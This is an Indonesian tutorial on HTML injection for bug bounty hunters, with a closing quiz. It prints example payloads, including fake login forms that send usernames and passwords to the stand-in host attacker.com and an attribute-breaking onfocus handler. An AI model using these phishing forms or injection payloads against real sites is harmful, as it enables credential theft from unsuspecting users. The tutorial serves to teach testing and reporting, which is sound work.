Apa Itu HTML Injection?
HTML Injection terjadi ketika input user dimasukkan ke halaman web tanpa sanitasi, memungkinkan attacker menyisipkan tag HTML arbitrary. Berbeda dengan XSS yang mengeksekusi JavaScript, HTML Injection "hanya" memanipulasi tampilan dan struktur halaman.
HTML Injection vs XSS: Keduanya mirip, bedanya HTML Injection tidak mengeksekusi script. Tapi jangan anggap remeh — HTML Injection tetap bisa digunakan untuk phishing, defacement, dan social engineering yang sangat meyakinkan karena konten jahat muncul di domain asli.
Contoh Dasar
Bayangkan halaman yang menampilkan nama user dari URL:
# URL normal
https://site.com/welcome?name=Rizky
# Output: "Selamat datang, Rizky!"
# HTML Injection
https://site.com/welcome?name=<h1>HACKED</h1>
# Output: menampilkan heading besar "HACKED" di halaman!
# Lebih berbahaya — form palsu
https://site.com/welcome?name=<form action="https://attacker.com">
<input type="text" placeholder="Masukkan password">
<input type="submit" value="Login"></form>
Tipe HTML Injection
1. Stored HTML Injection
Payload tersimpan di server dan ditampilkan ke semua pengunjung — mirip Stored XSS tapi tanpa JavaScript.
# Contoh: form komentar yang tidak disanitasi
Nama: <b>Admin</b>
Komentar: <marquee>Ini komentar berbahaya!</marquee>
# Form login palsu tersimpan di komentar
<div style="background:#fff;padding:20px">
<h3>Session expired, please login again</h3>
<form action="https://attacker.com/steal">
<input name="user" placeholder="Username">
<input type="password" name="pass" placeholder="Password">
<button>Login</button>
</form>
</div>
2. Reflected HTML Injection
Payload direfleksikan langsung dari URL ke halaman — butuh korban mengklik link berbahaya.
Dampak HTML Injection
| Serangan | Cara | Dampak |
| Phishing | Inject form login palsu di domain asli | Credential theft — sangat meyakinkan! |
| Defacement | Inject konten mengganti tampilan halaman | Reputasi rusak |
| Redirect | Inject meta refresh atau link | Redirect ke halaman jahat |
| Social Engineering | Inject pesan palsu dari "admin" | Korban tertipu melakukan aksi berbahaya |
Cara Menemukan HTML Injection
# Test sederhana — masukkan tag HTML dasar
<b>test</b>
<i>test</i>
<h1>test</h1>
# Jika teks muncul tebal/miring/besar = HTML Injection!
# Jika muncul sebagai teks literal = sudah di-encode dengan benar
# Cek di mana input muncul:
# - Langsung di body halaman → HTML Injection
# - Di dalam atribut tag → Attribute Injection
# - Di dalam JavaScript → JS Injection / XSS
Attribute Injection
Varian HTML Injection di mana input masuk ke dalam atribut tag HTML:
# Kode yang vulnerable
<input value="[USER_INPUT]">
# Payload — tutup atribut, tambah event handler
" autofocus onfocus="alert(1)
# Hasil: <input value="" autofocus onfocus="alert(1)">
# Ini sebenarnya sudah masuk ke XSS territory!
Perbedaan dengan XSS dalam Bug Bounty
| Aspek | HTML Injection | XSS |
| Script execution | Tidak | Ya |
| Severity tipikal | Low–Medium | Medium–High |
| Cookie theft | Tidak langsung | Ya (jika no HttpOnly) |
| Phishing potential | Tinggi | Sangat tinggi |
Tips severity: Saat melaporkan HTML Injection, tunjukkan PoC phishing form yang realistis — form login palsu di domain asli. Ini akan meningkatkan severity dari Low ke Medium karena dampak phishing yang sangat meyakinkan bagi korban.
// CEK PEMAHAMAN
Mengapa HTML Injection yang menampilkan form login palsu di domain asli sangat berbahaya meski tidak ada JavaScript yang dieksekusi?
AKarena bisa langsung mencuri cookie session korban
BForm palsu muncul di domain asli sehingga sangat meyakinkan — korban tidak curiga meski URL tetap domain legitimate
CMenyebabkan Remote Code Execution di server
DBisa mengakses database server secara langsung